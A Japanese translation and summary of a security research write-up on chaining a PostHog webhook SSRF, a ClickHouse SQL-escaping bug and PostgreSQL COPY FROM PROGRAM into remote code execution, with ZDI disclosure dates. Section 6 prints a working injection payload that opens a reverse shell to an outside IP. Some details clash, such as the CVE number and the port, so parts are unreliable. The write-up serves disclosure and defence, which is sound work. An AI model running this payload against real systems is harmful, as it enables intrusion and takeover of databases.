
2025/12/18 5:50
Inside PostHog: SSRF, ClickHouse SQL Escape and Default Postgres Creds to RCE
RSS: https://news.ycombinator.com/rss
要約▶
Japanese Translation:
記事は、PostHog のサーバー側リクエストフォージェリ(SSRF)欠陥を複数段階の攻撃チェーンに変えて、PostgreSQL データベースでリモートコード実行を可能にする方法を説明しています。研究者は 24 時間を費やしてソースレベルで手動調査を行い、その結果、オープンソース性と高速 Docker 配備が特徴の自己ホスト型分析プラットフォームとして PostHog を選択しました。
PostHog の Rust Webhook ハンドラー、
database_schema、および slack_incoming_webhook で三つの SSRF 脆弱性(CVE‑2024‑9710、CVE‑2025‑1522、CVE‑2025‑1521)が特定されました。test_slack_webhook エンドポイントは URL を検証しますが、save エンドポイントでは検証が行われません;PATCH リクエストでこのチェックを回避し、localhost のような内部アドレスを保存できます。その後 Rust Webhook ワーカーがこれらの保存された URL に対して再検証なしに POST を送信し、HTTP リダイレクトを追跡して内部的に POST を GET に変換します。
PostHog の ClickHouse バックエンドはポート 8123 上で認証不要な HTTP API を公開しています。GET 要求は読み取り専用ですが、テーブル関数
postgresql() はリモート PostgreSQL クエリを許可します。ClickHouse はこの関数内のシングルクォートをバックスラッシュ(\)で誤ってエスケープし、テーブル名にエスケープされていない引用符が含まれると SQL インジェクションベクトルを作成します。
COPY 文を閉じ、
;END; でトランザクションを終了し、ドル引用符で囲まれた PostgreSQL の COPY FROM PROGRAM 構文を使用したペイロードを構築することで、攻撃者はリモート PostgreSQL サーバー上で任意の OS コマンドを実行できます。完全なエクスプロイトチェーンは次の通りです:(1) PATCH による Webhook URL 検証回避、
(2) Rust ワーカー内の SSRF、
(3) POST‑to‑GET リダイレクト変換、
(4) ClickHouse SQL インジェクション、
(5)
;END; と COPY FROM PROGRAM を含むペイロード構造、(6) 追加エスケープを避けるためのドル引用符、
(7) 静的 Docker 名称/認証情報への依存。
研究者は Python スクリプト(
rust-webhook-ssrf-rce.py)で脆弱性を実演しました。脚本は認証し、localhost を指す悪意ある Webhook を作成してトリガーし、PostgreSQL コンテナ内にリバースシェルを取得します。彼らは 2024‑10‑03 に ZDI 経由で責任ある報告を行い、アドバイザリーが公開され 2025‑02‑25 に更新されました。
自己ホスト型 PostHog ユーザーおよび ClickHouse を分析に利用している企業は、これらの脆弱性をパッチしない場合深刻なリスクに直面します。この事件は Webhook URL の検証、内部 API の保護、およびデータベース関数でのユーザー入力の正しいエスケープの重要性を強調しています。
本文
それは、オフィスでのまた一つの日でした。私たちのチームは内部で別のプラットフォーム分析ソリューションへの移行を検討し、Posthogにより傾いていました。Posthogは市場で最高級の製品のひとつだと考えています。
1. リサーチ期間
どんな製品も真剣に検討する前に、厳格な24時間「リサーチウィンドウ」を設けます。マーケティング資料や機能表は一切見ず、実際の環境で動作を確認し、ソースレベルで詳細に調査します。
2. Posthog – 初期設定
- インストールは簡単でした:
(またはドキュメントにあるワンライナー)で数分以内に完全なインスタンスが動作します。docker compose up - 公式ドキュメントを参照し、全体構成を把握した上で攻撃シナリオを設計するための細かい調整を行いました。
以下は簡略化した図です。
注: Rustで書かれたワーカーとプラグインサービス(「Celery」ボックス)は図に示していませんが、後ほど不可欠になります。
3. SSRF脆弱性
Posthogは数千の外部統合をサポートしているため、Server‑Side Request Forgery(SSRF)のリスクがあります。
主要アプリケーション、ワーカー、プラグインのソースコードをレビューし、以下の3つのSSRF脆弱性を特定しました。
| CVE | コンポーネント | 影響 |
|---|---|---|
| CVE-2024-9710 | Rust Webhook Handler | 情報漏洩 |
| CVE-2025-1522 | database_schema | 情報漏洩 |
| CVE-2025-1521 | slack_incoming_webhook | 情報漏洩 |
ここでは CVE‑2023‑46746(Posthog Rust Webhook Handler SSRF)に焦点を当てます。
3.1 テストエンドポイント
/api/user/test_slack_webhook/ エンドポイントはURLを検証します:
@require_http_methods(["POST"]) @authenticate_secondarily def test_slack_webhook(request): ... if not settings.DEBUG: raise_if_user_provided_url_unsafe(webhook) session.mount("https://", PublicIPOnlyHttpAdapter()) session.mount("http://", PublicIPOnlyHttpAdapter()) response = session.post(webhook, verify=False, json=message)
POST http://localhost/ に対しては {"error":"invalid webhook URL"} が返ります。
3.2 セーブエンドポイント
セーブ時には同じチェックが行われません。フロントエンドをバイパスし、直接 PATCH リクエストを送ることで内部アドレス(例:
http://localhost)を指す webhook URL を永続化できます。これにより Rust ワーカーが後で再検証なしにサーバー側リクエストを行うため、持続的な SSRF プリミティブが生成されます。
3.3 ワーカーのトリガー
Data Management → Actions → New Action で全イベントにマッチする正規表現を設定し、新しいアクションを作成します。任意のイベントが発生すると Rust webhook ワーカーが起動し、設定された URL にリクエストを送信します。
4. Rust Webhook Worker – SSRFプリミティブ
rust/hook-worker/src/worker.rs の send_webhook 関数は再検証なしにアウトバウンドリクエストを実行します:
async fn send_webhook( client: reqwest::Client, method: &HttpMethod, url: &str, headers: &collections::HashMap<String, String>, body: String, ) -> Result<reqwest::Response, WebhookError> { let method: http::Method = method.into(); let url: reqwest::Url = (url).parse().map_err(WebhookParseError::ParseUrlError)?; ... client.request(method, url) .headers(headers) .body(body) .send() .await
ワーカーは HTTP リダイレクトを追跡するため、POST が内部サービスへの GET にリダイレクトされるケースがあります。
5. ClickHouse – PostgreSQL テーブル関数経由の SQL インジェクション
Posthog の分析バックエンドは ClickHouse です。ポート
8123 で認証不要な HTTP API を公開しています。ClickHouse は postgresql() などの Table Functions をサポートし、リモート PostgreSQL データベースから読み込むことができます:
SELECT * FROM ('db:5432','posthog', 'posthog_table','posthog','posthog')
ClickHouse 内部で提供されたテーブル名を使って PostgreSQL クエリを構築します。エスケープロジックが誤ってバックスラッシュを使用しており、シングルクォートの二重化ではないため、Remote PostgreSQL Injection が発生します。
例:単一引用符を注入
http://clickhouse:8123/?query=SELECT * FROM ('db:5432','posthog', 'posthog_table\'','posthog','posthog')
これにより ClickHouse は次のようなクエリを生成します:
COPY (SELECT ... WHERE relname = 'posthog_user\'' AND ...) TO STDOUT
バックスラッシュは PostgreSQL で無視され、任意の SQL を注入できます。
6. リモートコード実行へのエスカレーション
GET は読み取り専用ですので、COPY トランザクションを
;END; で終了させた後、PostgreSQL の FROM PROGRAM 機能を利用します:
SELECT * FROM postgresql('db:5432','posthog', "posthog_use'))+TO+STDOUT;END; DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM $$bash -c 'bash -i >& /dev/tcp/172.31.221.180/4444 0>&1'$$; SELECT * FROM cmd_exec; --",'posthog','posthog')#
主なテクニック:
ドル引用符を使ってエスケープの衝突を回避。$$- 元の COPY を
で閉じる。'))+TO+STDOUT - トランザクション終了は
。;END;
このペイロードにより PostgreSQL から攻撃者へリバースシェルが生成されます。
7. 完全な攻撃チェーン
- セーブ時の webhook URL バリデーション忘れ。
- Rust ワーカーに SSRF 保護なし。
- SSRF リダイレクトで POST → GET 内部変換。
- ClickHouse PostgreSQL エスケープバグによる SQL インジェクション。
- COPY トランザクション終了 (
) と;END;
注入。FROM PROGRAM - ドル引用符でシェルコマンドを安全に埋め込み。
- 静的 ClickHouse Docker 名と PostgreSQL 認証情報で侵入が容易化。
8. 証明コード
python rust-webhook-ssrf-rce.py
このスクリプトは認証、悪意ある webhook URL の保存、アクション作成を行い、最終的にポート
8888 にリバースシェルを受信します。
9. 責任ある開示
Zero Day Initiative (ZDI) の調整とベンダーコミュニケーション・修正追跡のサポートに感謝します。
- 2024‑10‑03 – ZDI による脆弱性報告
- 2025‑02‑25 – コーディネーテッド公開アドバイザリ発表
- 2025‑02‑25 – アドバイザリ更新
このチェーンは、SSRF、入力検証の欠如、微妙なエスケープバグといった見えにくい問題が組み合わさることで、現代の分析スタックで完全なリモートコード実行パスを構築できることを示しています。